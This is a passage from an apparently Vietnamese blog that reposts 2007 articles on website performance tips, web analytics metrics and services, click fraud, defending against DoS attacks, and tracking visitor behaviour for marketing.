Chú ý mỗi đường link được đặt trên website hay blog của bạn được viết một cách ngắn gọn và chính xác. Ví dụ mỗi entry trên 360 Yahoo đều có 1 phần “Permanent Link” để lấy liên kết chính xác và gọn gàng hơn nhiều so với những gì hiển thị trên ô địa chỉ (address bar) của trình duyệt. Việc sử dụng chính xác đường link sẽ giảm bớt những yêu cầu không đáng có đối với máy chủ trong một số trường hợp.

7. Giảm bớt các yêu cầu HTTP tới máy chủ:

Khi mở website, mỗi đối tượng trên trang (hình ảnh, script, hình vẽ, đường kẻ, …) đều tạo ra 1 yêu cầu tới máy chủ để tải về. Tất nhiên, càng nhiều đối tượng thì việc tải về càng lâu hơn. Vì thế, hãy giảm thiểu số đối tượng trên cùng 1 trang và cố gắng gộp file CSS với các script lại với nhau.

(Theo VietnamNet)

Các phương pháp và công cụ đánh giá website

2007-10-11T13:40:00.000+07:00

Khách hàng là người quyết định - điều này cũng đúng trong thế giới web. Số lượng khách truy cập website, số trang khách xem, thời gian khách dừng chân... quyết định thứ hạng và giá trị của website.

Thế giới web ngày càng nhộn nhịp, thu hút không chỉ người dùng cá nhân mà cả doanh nghiệp. Ngày càng có nhiều công ty lập website, kinh doanh và quảng cáo trên web. Tuy theo đuổi những mục tiêu khác nhau nhưng hầu hết các công ty đều cần đo lường hiệu quả công sức và tiền của mà họ đã đầu tư trên web.

Câu nói “khách hàng luôn đúng” lại vẫn đúng! Website có nội dung hấp dẫn, sẽ có nhiều khách truy cập; nội dung website được cập nhật, khách sẽ đến thường xuyên. Những “số đo” về khách truy cập website có thể trả lời cho các câu hỏi như: “mức độ thu hút của website?”, “hiệu quả của chiến dịch tiếp thị?”, “sự trung thành của khách hàng?”, “phân khúc khách hàng quan trọng?”... những số liệu này giúp các chủ website hiểu được khách hàng của mình tốt hơn và có thể đưa ra những chiến lược thích hợp đem lại sự hài lòng cho khách hàng và lợi nhuận cho website.

Các chỉ số

Khi nói đến mức độ thu hút của website, người ta thường trưng ra số “hit” – số lượt truy cập. Không có gì lạ vì đây là chỉ số có thể gây ấn tượng nhờ trị số lớn.

Hit thường được đếm khi có một thành phần dữ liệu (file) được truy xuất từ máy chủ web (web server). Một trang web có thể gồm nhiều thành phần như CSS, JavaScript, hình,... Khi trình duyệt của người dùng mở một trang web, nó sẽ yêu cầu tất cả thành phần này từ web server, mỗi yêu cầu có thể được đếm như 1 hit. Nếu thiết kế “khéo”, một trang web có thể tạo nên hàng chục hit mỗi lần được truy cập.

Số hit thường do các website tự đếm và không có dịch vụ độc lập kiểm chứng, nó hay được nói quá lên và cũng rất dễ dùng kỹ thuật lập trình tạo ra số hit tăng phi mã. Do tình trạng lạm phát, hit đã bị mất giá và giờ đây không còn được xem là thước đo chính cho website.

Tương tự hit, số trang xem - “pageview” - cũng được đếm khi có yêu cầu truy xuất file từ web server nhưng chỉ đếm cho trang chính (file .htm, .asp, .php...), không tính các thành phần trong trang. Nhiều website hiện nay đã áp dụng cách đếm “trung thực” này tuy vẫn dùng tên “hit”, khi này số hit chính là số pageview. Số pageview có ý nghĩa không chỉ vì nó cho biết số trang “thật” được xem mà còn cho biết số quảng cáo được hiển thị cùng với trang (quảng cáo có thể được bán theo phương thức CPM – Cost Per iMpression, tính cho mỗi 1000 trang xem).

Hiện được xem là 1 trong 2 “thước do” chính của website (Hình 1), tuy nhiên chỉ số pageview có nguy cơ bị thất sủng do những kỹ thuật mới như Ajax, RSS, mashup... và sự phát triển của video trên web. Những kỹ thuật mới như Ajax đem đến cho người dùng thông tin nhanh hơn, nhiều hơn, tiện lợi hơn và ít phải nạp trang web hơn, do vậy giảm số pageview. Pageview càng bị thất thu với video - với những website như YouTube người ta có thể xem cả thước phim (có thể xen kẽ hàng chục cảnh quảng cáo) chỉ với 1 trang xem.

Hình 2. Chỉ số thời gian cho biết “sức hút” của trang đối với những đối tượng khách khác nhau.

Chỉ số thứ 2 hiện được trọng dụng là số khách truy cập (“visitor” hay “unique visitor”). Khách truy cập website được xác định dựa trên thông tin nhận dạng thường là địa chỉ IP hay dữ liệu cookie “không trùng” trong khoảng thời gian quy định (chẳng hạn 12 giờ hay 24 giờ). Trong thời gian này, mỗi khách chỉ được đếm 1 lần dù truy cập website nhiều lần (và tạo nên nhiều hit). Chỉ số này rất có ý nghĩa đối với các báo điện tử và công ty quảng cáo. Rõ ràng, nhiều người xem quan trọng hơn là chỉ một nhóm người xem đi xem lại nhiều lần.

Tuy nhiên, số đo “unique visitor” không phải lúc nào cũng phản ánh đúng số khách “không trùng” truy cập website. Hàng chục hay hàng trăm người dùng trong một mạng nội bộ (LAN) có thể giao tiếp với thế giới bên ngoài chỉ qua một địa chỉ IP (thông qua firewall hay proxy server) và do vậy chỉ được đếm như một visitor. Một số nhà cung cấp dịch vụ Internet có thể sử dụng DHCP (Dynamic Host Configuration Protocol) sinh ra địa chỉ IP khác nhau cho mỗi file được yêu cầu, trong trường hợp này thì một khách truy cập lại được đếm như nhiều visitor. Rất may là những trường hợp này không phổ biến.

Cùng với số visitor, thời gian mà khách lưu lại website cũng là số đo quan trọng, đánh giá sự quan tâm của khách (Hình 2). Dù nhắm đến mục tiêu gì thì trước hết website cần phải có được sự quan tâm của khách. Số trang xem hay số visitor dù có lớn đến mấy đi nữa cũng sẽ mất ý nghĩa khi mà khách đến rồi đi ngay, không hề dành thời gian xem nội dung và quảng cáo. (Xem phần “Click hay không click?”).

Chỉ số thời gian cùng với các chỉ số đánh giá sự tương tác của khách với website như tỉ lệ khách thực hiện giao dịch (ví dụ mua hàng trực tuyến) hay tỉ lệ khách quay lại so với khách mới... không chỉ đánh giá số lượng mà cả chất lượng khách truy cập.

Các chỉ số về chất lượng ngày càng được quan tâm. Trong môi trường Internet ngày càng cạnh tranh, người ta càng phải chú trọng vào thị trường hẹp hơn và càng cần khách chất lượng hơn có tiềm năng trở thành khách hàng thật sự (thực hiện giao dịch).

Về mặt kỹ thuật, việc đo đếm số hit, pageview, visitor hay thời gian không khó. Hầu hết các nhà phát triển web đều có thể thực hiện và đa phần các website đều có chức năng này.

Dịch vụ “kiểm toán”

Nếu chỉ nhằm mục đích sử dụng cho nội bộ công ty để đánh giá hiệu quả hoạt động của website và nắm bắt nhu cầu của người dùng để đưa ra quyết định những điều chỉnh chiến lược thì không có vấn đề gì. Tuy nhiên, những chỉ số này còn có thể được sử dụng để “báo giá” website với đối tác (ví dụ khách hàng quảng cáo), hay để “so kè” với các website cạnh tranh khác, vì thế cần đến dịch vụ “kiểm toán” độc lập để đảm bảo tính trung thực và khả năng so sánh của các chỉ số.

Dịch vụ “kiểm toán” các chỉ số của website hiện đang phát triển mạnh cùng với xu thế thương mại điện tử. Hiện có đến gần cả trăm dịch vụ đánh giá website trên thị trường, có thể một số tên tuổi lớn như Nielsen Netratings (www.nielsen-netratings.com), comScore (www.comscore.com/metrix), Ominture (www.omniture.com), WebTrends (www.webtrends.com), WebSideStory (www.websidestory.com), Coremetrics (www.coremetrics.com), Core Metrics (www.coremetrics.com), HitsLink (www.hitslink.com), Hitwise (www.hitwise.com)... Ngoài những chỉ số pageview, visitor, thời gian, các dịch vụ này còn có thể ghi nhận nhiều số liệu chi tiết về khách truy cập như họ từ đâu đến và cần tìm gì, họ dùng trình duyệt gì, độ phân giải màn hình bao nhiêu... và cung cấp những tính năng báo cáo thống kê, phân tích dữ liệu tinh vi phục vụ cho việc đánh giá số lượng và chất lượng khách truy cập, hiệu quả hoạt động của website và những chiến dịch quảng cáo tiếp thị trên web.

Những dịch vụ trên cung cấp nhiều thông tin giá trị nhưng giá cũng cao. Giải pháp đắt tiền không phải lúc nào cũng tốt, có những dịch vụ ít tốn kém hơn vẫn có thể cung cấp số liệu thống kê hữu ích cho những website cỡ vừa và nhỏ, như VisiStats (www.visistat.com), ClickTracks (www.clicktracks.com) hay NetTracker (www.sane.com), thậm chí còn có dịch vụ miễn phí nhưng đáng giá như Google Analytics (www.google.com/analytics).

Bỏ ra 30 triệu USD mua hãng Urchin để cung cấp dịch vụ miễn phí (Google cũng có dịch vụ thu phí cung cấp số liệu chi tiết hơn), Google thật sự gây khó cho các dịch vụ cạnh tranh khác nhưng được các chủ website hoan nghênh về những số liệu thống kê phong phú và giá trị, có cả chỉ số về số lượng (lượng truy cập, trang xem,...) lẫn về chất lượng (thời gian, tỉ lệ giao dịch...). Cái tên Google có thể đảm bảo cho độ tin cậy của những chỉ số này. Đây là dịch vụ đánh giá web miễn phí đáng giá nhất hiện nay (Hình 3).

Hình 3. Google Analytics có thể cho biết khách từ đâu đến và họ cần tìm gì.

Có một dịch vụ miễn phí khác khá được ưa chuộng đó là Alexa (www.alexa.com). Dịch vụ này đánh giá các chỉ số pageview và “reach” (tính theo số visitor) để xếp hạng website. Khác với Google Analytics có yêu cầu chèn mã lệnh vào các trang web của website cần đánh giá, Alexa thu thập dữ liệu thông qua công cụ Alexa Toolbar cài trên máy khách. Dịch vụ Alexa tiện lợi cho việc so sánh tương quan “thế lực” giữa các website với nhau, tuy nhiên chỉ có tính tham khảo vì thứ hạng Alexa không phản ánh chính xác giá trị của website. Thứ nhất, số lượng người cài Alexa Toolbar nhỏ không đủ đại diện cho cộng đồng người dùng Internet (thật sự chẳng có mấy ai cài công cụ này chỉ để biết thứ hạng của những website mà họ truy cập - mục đích chính của công cụ này). Thứ hai, thứ hạng Alexa dễ bị thao túng, đơn giản nhất là khai thác ngay chính Alexa Toolbar (nhờ nhiều người cài đặt công cụ này và truy cập website thường xuyên), tinh vi hơn thì có thể sử dụng những công cụ như Alexabooster hay Alexa Surf.

Thêm một tên tuổi lớn chuẩn bị vào cuộc sau Google. Năm rồi Microsoft đã mua hãng Deepmetrix (giá chưa được công bố) và sẽ đưa ra dịch vụ đánh giá web trong nay mai, theo nhiều nguồn tin thì dịch vụ này có tên là Gatineau và sẽ được cung cấp miễn phí (Hình 4). Đây có thể sẽ là đối thủ xứng tầm với Google Analytics. Hiện tại Microsoft có giới thiệu thử nghiệm dịch vụ AdCenter Labs (http://adlab.msn.com/DPUI/DPUI.aspx) đánh giá và dự báo về giới tính và độ tuổi của khách truy cập website. Các chỉ số này khá thú vị nhưng khó có thể nói về độ chính xác vì chỉ dựa vào dữ liệu người dùng mạng MSN mà không yêu cầu can thiệp gì đến mã lệnh của website cần đo hay cài đặt công cụ trên máy người dùng (Hình 4).

Hình 4: Microsoft AdCenter cho những số liệu thống kê thú vị về giới tính và độ tuổi của khách

Hiện còn có nhiều dịch vụ đo website miễn phí khác cũng rất tốt như StatCounter (www.statcounter.com), ClickTracks Appetizer (www.clicktracks.com/products/appetizer/), eXTReMe Tracking (extremetracking.com), SiteMeter (www.sitemeter.com), Add Free Stats (addfreestats.com), Compete (www.compete.com)... một số sử dụng cách thức chèn mã như Google Analytics (trong số này, khác với Google Analytics, một số dịch vụ không được ẩn mà buộc phải hiển thị “nhãn hiệu” của dịch vụ trên các trang web cần đánh giá), một số thu thập dữ liệu qua công cụ cài trên máy khách như Alexa, cũng có dịch vụ lấy thông tin kết hợp từ nhiều nguồn (như Compete, đối thủ của Alexa, thu thập thông tin qua công cụ cài trên máy khách kết hợp với thông tin lấy từ các ISP).

Ngoài ra, hiện cũng có một số dịch vụ đánh giá blog miễn phí như FeedBurner (www.feedburner.com, cho phép đánh giá cả RSS và Podcast) (Hình 4), Measure Map (www.measuremap.com, thuộc Google), IceRocket (tracker.icerocket.com, có xếp hạng blog)... Blog là một dạng website đặc biệt, cần có những chỉ số đặc biệt như số bài gửi lên blog (post) hay số bài bình (comment).

Hình 5. FeedBurner có thể đánh giá blog, RSS và Podcast.

Mọi người đều biết nội dung hấp dẫn và giao diện bố cục hợp lý, dễ dùng là những yếu tố quan trọng tạo nên sự thành công của một website. Nhưng dù website có thiết kế tốt đến mấy đi nữa mà không được lòng khách hàng thì cũng vô nghĩa.

Tuy nhiên không hẳn các chỉ số về khách hàng cao đều tốt và ngược lại, điều này còn tuỳ mô hình kinh doanh của website. Ví dụ, chỉ số pageview cao tốt cho website báo trực tuyến vì nó có nghĩa nhiều bài được xem (và có thể thu hút nhiều quảng cáo), nhưng với website hỗ trợ khách hàng thì lại không tốt vì nó có nghĩa khách hàng gặp nhiều trục trặc (với sản phẩm của công ty) và cần hỗ trợ. Hay với dịch vụ tìm kiếm Google, chỉ số thời gian thấp vì Google cung cấp nhanh thông tin khách cần tìm, chỉ số pageview của mỗi khách cũng không cao vì Google có cơ chế xếp hạng để đưa ra những kết quả tìm kiếm thích hợp nhất ngay trang đầu, điều này tốt cho cả Google và người dùng (nhờ vậy Google có lượng khách truy cập thường xuyên đông).

Tùy mô hình kinh doanh, mỗi website có thể cần những chỉ số khác nhau. Và chỉ số chính là chỉ số cho thông tin mà chủ website cần hay “có lợi” (thường được công bố) giúp đánh bóng tên tuổi website. Việc kiểm toán chỉ số cũng tùy: tùy qui mô và lưu lượng của website, và tùy số tiền mà chủ wesbite muốn chi. Để “chứng thực” thế lực của mình, các website lớn có lượng khách truy cập hàng ngày từ hàng triệu trở lên có thể phải cần đến những dịch vụ kiểm toán tên tuổi và có phí. Tuy nhiên đôi khi giải pháp miễn phí (như Google Analytics) cũng có thể cung cấp những số liệu giá trị về website.

Cần đánh giá chỉ số nào và sử dụng dịch vụ kiểm toán nào thì tuỳ, nhưng có một điều chắc chắn đó là website cần được đánh giá.

CLICK HAY KHÔNG CLICK?

Click (nhấn chuột) - một hình thái khác của hit - cũng là một chỉ số quan trọng của website, cho biết hiệu quả của quảng cáo trên web. Số click cao được hiểu là có nhiều người quan tâm - thể hiện bằng việc “click” hay nhấn lên banner hay logo quảng cáo (và làm tăng số click). Và phương thức tính click thu phí (Pay Per Click - PPC hay Cost Per Click - CPC) hiện rất được ưa chuộng. Giống như hit, click cũng bị tình trạng “ảo”. chỉ số này có thể được ngân lên hay được “bơm” dùng chương trình sinh click tự động (được biết đến với tên gọi “clickbot”). Để tránh tình trạng này, click thường được ghi nhận cùng với thông tin nhận dạng (như địa chỉ IP, cookie). Nhưng giải pháp này không triệt để vì vẫn có thể bị “qua mặt”: dùng công cụ tạo địa chỉ IP ảo. Để đối phó, lại phát sinh thêm các dịch vụ kiểm tra click ảo như Click Auditor (http://www.keywordmax.com/click_auditor.html),Vericlix (http://www.vericlix.com)... nhưng trận chiến “click” chưa kết thúc. Các công ty quảng cáo trên web còn phải đau đầu với tình trạng “đọc thuê”, phương thức này đơn giản nhưng khó bị phát hiện: số lượng lớn người dùng ở rải rác khắp nơi được thuê thường xuyên nhận email quảng cáo và truy cập website khách hàng quảng cáo (số tiền thuê nhỏ hơn nhiều so với số tiền chủ website nhận được từ khách hàng quảng cáo). Những người này không hề quan tâm đến nội dung trang web hay quảng cáo, họ chỉ đơn giản nhấn chuột, đến trang web rồi đi ngay. Vấn đề chính đối với click đó là yêu cầu... click! Phương thức tính click vừa làm mất thời gian của người xem (phải nhấn và đợi nạp trang web khác) vừa dễ bị “thất thu” nếu thông tin quảng cáo không “mời gọi” hay trang web của khách hàng quảng cáo không được cập nhật. Thật ra có nhiều hình thức quảng cáo không cần phải click (quảng cáo cung cấp đủ thông tin cho người xem, như quảng cáo trên TV hay báo in). Với những quảng cáo như vậy, người ta có thể sử dụng phương thức tính trang xem - PPV (Pay Per View - PPV hay Cost Per 1000 iMpression - CPM), hay lần giao dịch - CPA (Cost Per Action hay PPA - Pay Per Action).

Nguồn tin: Thế Giới Vi Tính

Ba con đường dẫn đến trang web của bạn bị tấn công

2007-10-11T11:48:00.000+07:00

Ngay sau khi kết nối và hoà vào mạng Internet, không chỉ máy chủ lưu giữ website, mà toàn bộ mạng lưới máy tính của bạn rất có thể sẽ trở thành mục tiêu của những cuộc tấn công có chủ ý từ phía các hacker - hay "những tên tội phạm máy tính".

Không chỉ đối với các website thương mại điện tử nhỏ không có các chương trình để duy trì và bảo vệ sự an toàn cần thiết, mà ngay cả những công ty lớn có tên tuổi như Yahoo! Inc, eBay Inc, Amazon.com Inc, Buy.com Inc, CNN.com, E*Trade Group Inc…, và thậm chí đã được cảnh báo trước, cũng khó có thể tránh khỏi những cuộc tấn công và những hậu quả mà những cuộc tấn công đó gây ra như: ngừng hoạt động website, thao túng và phá huỷ các mã chương trình, máy tính của bạn sẽ trở nên kém tính năng, và thậm chí là hàng triệu đô la trong tài khoản của bạn cũng bị lấy trộm.

Bản tin Thương mại Điện tử sẽ giúp bạn tìm hiểu về những cuộc tấn công trên cùng những giải pháp phòng ngừa và khắc phục:

w Cuộc tấn công DoS (Denial of Service): Những cuộc tấn công trên hệ thống Internet.

w Vi rút (Virus): Những cuộc tấn công vào hệ thống mạng nội bộ.

w Ăn trộm thẻ tín dụng (Credit Card Theft): Những cuộc tấn công về cơ sở dữ liệu.

Phần 1 - Cuộc tấn công DoS

Những cuộc tấn công dữ dội đã từng làm giảm giá trị của các website lớn như Yahoo! Inc, eBay Inc, CNN.com và Buy.com Inc được gây ra bởi một cuộc tấn công được gọi là cuộc tấn công DoS - có thể hiểu là "sự phủ nhận dịch vụ". Đây là một trong những hình thức tấn công dễ thực hiện nhất, và là một trong những hình thức tấn công khó tránh và khắc phục nhất. Nó có thể phá huỷ và làm hỏng hệ thống máy của bạn trong hàng giờ đồng hồ.

Về mặt kỹ thuật, những cuộc tấn công DoS có thể được coi là không nguy hại nhiều. Tuy nhiên về mặt tài chính, bạn sẽ bị thiệt hại những khoản doanh thu lớn trong suốt thời gian mà trang web của bạn không hoạt động được.

1. Khái niệm:

Cuộc tấn công DoS là hiện tượng một luồng thông tin được gửi liên tục đến một mục tiêu với ý định làm tràn dữ liệu cho đến khi không có khả năng tải một cách hợp pháp.

Mục tiêu của những cuộc tấn công này là nhằm vào máy chủ web của bạn, thông qua việc phủ nhận khả năng tải thông tin từ hệ thống của bạn. Nhưng, không giống như phần lớn những cuộc tấn công khác, cuộc tấn công DoS không đòi hỏi những hacker phải truy cập bằng được vào các máy chủ mục tiêu. Thay vì vậy, người thực hiện cuộc tấn công này có thể truy cập vào trong những máy tính khác của hệ thống, cài mã chương trình để biến chúng trở thành những "kẻ tòng phạm". Những kẻ tòng phạm này sau đó sẽ gửi hàng loạt những yêu cầu về thông tin đến mục tiêu chính của cuộc tấn công.

Việc gửi hàng loạt những yêu cầu về thông tin từ các máy tính trên sẽ nhanh chóng làm máy chủ mục tiêu trở nên quá tải. Và hậu quả thứ nhất của cuộc tấn công này là tất cả máy chủ sẽ buộc phải tập trung vào để trả lời những yêu cầu thông tin được gửi đến, sẽ không có thời gian để bảo vệ và quan tâm đến các trang web. Và tất yếu hậu quả thứ hai sẽ là: website của bạn sẽ ngừng hoạt động.

2. Cách nhận biết:

Có một cách rất đơn giản để nhận biết ra loại tấn công này. Sẽ không phải bạn và tất nhiên cũng không phải bất kỳ một người nào có khả năng truy cập vào website của bạn. Bạn cần phải có một đội ngũ nhân viên với tư cách là người quản trị mạng - tường tận về tất cả các nội dung của website. Đội ngũ đó hoàn toàn có khả năng phát hiện ra những dấu hiệu của cuộc tấn công như: khối lượng các yêu cầu gửi qua mạng tăng, thời gian truy cập vào website lâu hơn, thời gian thực hiện của hệ thống trả lời chậm lại…

3. Ai là kẻ "chủ mưu" và động cơ thực hiện cuộc tấn công?

Dường như không có một "phần thưởng đáng giá" nào dành cho những kẻ thực hiện cuộc tấn công DoS này. Hoàn toàn không vì mục đích lợi nhuận, động cơ chính của những kẻ "chủ mưu" khi thực hiện cuộc tấn công này là nhằm phô trương tài năng và thử nghiệm những chương trình mà họ nghĩ ra. Các chuyên gia máy tính thường nhìn nhận họ như là những người không có đầu óc và thực sự không sáng tạo. Nhưng đối với các hacker thực hiện âm mưu này, ý định tấn công vào những công ty trực tuyến lớn nhất là một kỳ tích tuyệt vời. Họ có thể tự hào tuyên bố: "Tôi đã hạ bệ được Yahoo!." và làm cho các website nhỏ ngừng hoạt động .

4. Cách tự bảo vệ:

Bạn có thể trở thành "nạn nhân" của cuộc tấn công DoS theo hai con đường: Hoặc bạn là mục tiêu chính của cuộc tấn công hoặc bạn sẽ trở thành "kẻ tòng phạm" không chủ tâm của vụ tấn công.

Để giảm thiểu các rủi ro của cuộc tấn công DoS, bạn có thể tham khảo các giải pháp sau:

w Chuyển dịch vụ web hosting của bạn sang một nhà cung cấp lớn và có uy tín hơn. Họ sẽ có các chương trình để tránh, phát hiện và khắc phục hậu quả của các cuộc tấn công DoS. Và có trách nhiệm trong việc phòng ngừa tấn công cũng như việc đảm bảo website của bạn luôn hoạt động.

Để hiểu thêm thế nào là một dịch vụ web hosting hoàn hảo và bảo mật các bạn có thể tra cứu tại địa chỉ: http://www.thuongmaidientu.com/ecommerce/hosting.html

http://thuongmaidientu.com/bantin/issue45.html

w Quan tâm hơn đến việc đầu tư nâng cấp các phần cứng, nếu bạn thuê máy chủ cho trang web riêng của bạn. Bởi vì, khi khối lượng thông tin mà bạn có thể xử lý càng lớn thì khả năng tấn công làm tràn thông tin trên máy chủ của bạn sẽ càng khó đối với các hacker. Vì vậy, giải pháp đơn giản nhất là: xây dựng nhiều phần cứng với những tính năng kỹ thuật cao để khắc phục những sự cố về dữ liệu. Tuy nhiên, nếu công ty của bạn là các công ty nhỏ, đây có thể không phải là một sự lựa chọn tối ưu.

Các công ty có hệ thống lớn hơn, có thể gia nhập vào cầu dẫn của mạng cục bộ trong cấu trúc máy chủ của họ. Cầu dẫn sẽ có chức năng lưu trữ và chuyển tiếp các bức thư điện tử trong mạng máy tính, đầu tiên nó sẽ xác định tất cả các đường dẫn đến địa chỉ nhận và sau đó lựa chọn đường dẫn thích hợp nhất. Một số các cầu dẫn trên thị trường hiện nay còn có những đặc điểm cho phép bạn hạn chế lượng thông tin tải về. Hơn nữa, khi bạn đã vô tình trở thành nạn nhân của loại tấn công này, các cầu dẫn sẽ giúp bạn phục hồi lại nhanh hơn.

w Chuẩn bị một kế hoạch hỗ trợ để cập nhật lượng thông tin tải đến các địa chỉ web. Khi nhận ra được nguy cơ sẽ trở thành nạn nhân của cuộc tấn công DoS, đó cũng là lúc bạn phải thay đổi khả năng tải hợp lý hơn. Cuộc tấn công DoS là riêng đối với địa chỉ web của bạn, nhưng bạn có thể chuyển tiếp những thông tin đề nghị hợp lý của bạn đến những máy chủ khác trong khi đang bị tấn công. Những kẻ chủ mưu thực hiện cuộc tấn công này sẽ không biết điều đó.

(Theo ThuongMaiDienTu)

Bạn biết khách hàng đang làm gì trên website của mình không?

2007-10-11T11:46:00.000+07:00

Bạn có biết ai là khách hàng tuyệt vời nhất của bạn không? Bạn có biết họ mua bao nhiêu hàng hoá và mua khi nào không? Bạn có biết họ sử dụng Website của bạn ra sao không?

Một vài năm trở về trước, có một tổ chức đã sắp xếp thứ tự các Website của tất cả các hãng hàng không từ tốt nhất đến tồi nhất. Website được xếp ở vị trí tốt nhất làm rất nhiều thứ bởi nó là một trong số ít các website thực sự có thông tin về chuyến bay và giá vé trên chính trang chủ.

Nhiều website khác có trang chủ trông rất đẹp. Nhưng để lấy được thông tin cần thiết thì khách viếng thăm phải dành thêm nhiều thời gian hơn nữa trên trang chủ đó. Điều đó thực sự là không “đẹp”. Người ta phải mất thêm nhiều thời gian mới có được thông tin mong muốn.

Bạn có biết những khách hàng tuyệt vời nhất của bạn dùng website của bạn như thế nào không? Những phần nào của website cần được đưa lên trang chủ? Các câu trả lời có thích hợp với từng câu hỏi khác nhau không? Site của bạn có khác với mỗi khách hàng không?

Câu trả lời cho câu hỏi “Khách hàng tốt nhất của bạn dùng website của bạn như thế nào?” có liên quan không chỉ đến thiết kế của website mà còn đến sản phẩm mà bạn cung cấp và các chiến lược marketing tổng thể.

Chi tiết câu trả lời cho câu hỏi trên quá là phức tạp nên không thể trả lời đầy đủ trong một bài viết ngắn. Có một giải pháp là tổ chức các cuộc thảo luận giữa các nhóm marketing và nhóm bán hàng, các nhóm lưu giữ dữ liệu , các nhà phân tích dữ liệu và nhóm quản trị mạng.

Nhóm marketing bắt buộc phải xác định rõ được ai là khách hàng tốt nhất. Thông thường là họ lại không biết. Nhóm lưu giữ dữ liệu sẽ cung cấp các dữ liệu giúp đưa ra chính xác định nghĩa cho đối tượng này, rồi nhóm quản trị mạng sẽ có cách để lần theo thái độ của những khách hàng này.

Phương pháp theo dõi buộc phải có một trình nhận diện. Đó là sự kết hợp của số nhận diện người sử dụng, số ID cookie hoặc địa chỉ IP. Trình nhận diện này sẽ lần theo các thông tin thăm viếng trang web của khách hàng và người ta gọi đó là dữ liệu đường dẫn (path data hoặc clickstream).

Dữ liệu đường dẫn được viết vào tệp tin sổ ghi của website thô và vào một bảng cơ sở dữ liệu đặc biệt để phát triển trình theo dõi thái độ của khách hàng với website. Các nhà phân tích, với các phần mềm khác nhau, sẽ phân tích dữ liệu.

Phần mềm của công ty ClickTracks, sản phẩm đã giành giải thưởng xuất sắc của ClickZ năm 2003, đã làm một công việc tuyệt vời là cho phép các nhà tiếp thị trích dẫn các thông tin hữu ích từ dữ liệu của họ.

Không kể những phần mềm đã được dùng, các thông tin được giới phân tích trích dẫn sẽ giúp cải thiện công việc marketing của bạn. Một vài khách hàng tốt nhất của bạn có thể luôn luôn vào viếng thăm một khu vực nhất định trên website. Điều này có thể có nghĩa rằng khu vực đó cần phải được chú ý chăm chút hơn. Những khách hàng tốt nhất của bạn có thể dụng một số dịch vụ nhất định trên website. Những dịch vụ này nên được nhắc tới trong chiến dịch marketing của bạn. Họ có thể tìm kiếm nhiều thông tin hơn nữa cho một số sản phẩm cụ thể. Và có lẽ bạn nên đề cập đến những thông tin đó trong các bức thư chào hàng.

Tạp chí BCVT & CNTT

Theo dõi' người truy nhập để quản trị Website tốt hơn

2007-10-11T11:44:00.000+07:00

Làm sao có thể biết Website của bạn đang thực thi tốt công việc của nó? Câu trả lời bạn tìm kiếm có thể đã nằm ngay trên máy chủ của bạn. Bí mật nằm trong việc theo dõi cách thức khách hàng truy nhập website, nhờ đó người quản trị có thể biết được những nơi nào của Website thu hút khách hàng truy nhập và nơi nào không được khách hàng quan tâm.

Thuật ngữ được biết đến như là “phân tích web” (web analytics) không mô tả hết những công đoạn trong quá trình này. Đôi khi việc không tuân theo đúng “thủ tục” có thể khiến bạn mất đi những lợi thế rất lớn trong các hoạt động liên quan tới website.

Trước đây người ta thường chỉ quan tâm tới số lượt truy nhập (hit) và coi đó là chỉ số quan trọng duy nhất đánh giá sự phát triển của website. Tuy nhiên, hiện tại việc theo dõi sự truy nhập của khách hàng đã được nhìn nhận một cách toàn diện hơn nhiều và cho ta không ít con số thống kê. Nếu bạn nghiêm túc với những con số, kết quả thống kê sẽ hỗ trợ bạn đưa ra những quyết định sáng suốt nhất về thiết kế, nội dung, cấu trúc thông tin và sơ đồ điều hướng của website. Thông tin mà bạn có thể có bao gồm số hit của từng trang trong website, mức độ của các công cụ tìm kiếm trong việc lôi kéo người truy nhập tới website của bạn, thông tin về người truy nhập, hệ điều hành và trình duyệt họ đang sử dụng v.v… Với lượng thông tin phong phú như vậy, vấn đề nằm ở chỗ làm sao tận dụng tốt những thông tin đó.

Các bộ đếm miễn phí

Thông tin quan trọng hay vô ích tuỳ thuộc vào nhu cầu của bạn. Chẳng hạn, bạn muốn phát triển các tổ hợp từ khoá (keyword) để lôi kéo thêm người truy nhập hay cần đo lường mức độ hiệu quả của một chiến dịch quảng cáo: do đặt các banner quảng cáo, in địa chỉ Website trên các ấn phẩm hoặc đưa địa chỉ website lên các webite có liên quan.. Cũng có thể bạn muốn biết chính xác nội dung được nhiều người truy nhập nhất, số lượng lỗi phát sinh (theo phản hồi của người truy nhập). Biết được mình quan tâm tới những vấn đề nào bạn sẽ biết cần phải “đo lường” để lấy được những thông tin gì liên quan tới việc truy nhập của người sử dụng.

Quá trình phân tích website bắt đầu từ công việc giản đơn nhất là đong đếm “số hit”. Trên mạng hiện tồn tại không ít các “bộ đếm hit” (hit counter) miễn phí dành cho nhà quản trị. Có hai hình thức cài đặt “bộ đếm hit”: bộ đếm sử dụng qua các đoạn mã (script) được chèn vào các trang Web đặt trên máy chủ của bạn hoặc bộ đếm được “điều khiển từ xa” - đặt trên máy chủ khác. Nếu chỉ muốn đong đếm một trang (trang chủ), bạn nên lựa chọn phương pháp thứ hai. Trong khi đó, giải pháp đặt trực tiếp các đoạn mã đếm trên máy chủ của mình tiện lợi cho việc triển khai đồng loạt nhiều bộ đếm (để so sánh mức độ phổ biến giữa các trang). Ngoài ra, theo hình thức này bạn cũng có thể chủ động lựa chọn cho hiển thị hay không hiển thị kết quả đếm trên trang web.

Có rất bộ đếm tốt, miễn phí. Đầu tiên là WebCounter (http://www.digits.com), công cụ được coi là một trong những bộ đếm đầu tiên xuất hiện trên mạng, được phân phối dưới cả hai hình thức: tính năng cơ bản (miễn phí) và tính năng nâng cao (tính phí). Tiếp đến phải kể tới FastCounter (http://www.bcentral.com), đặc tính đong đếm mạnh và tin cậy. Nổi bật trong số các bộ đếm cho phép bạn cài đặt trên máy chủ của mình là Matt’s Counter (http://www.scriptarchive.com).

Điều khiển từ xa

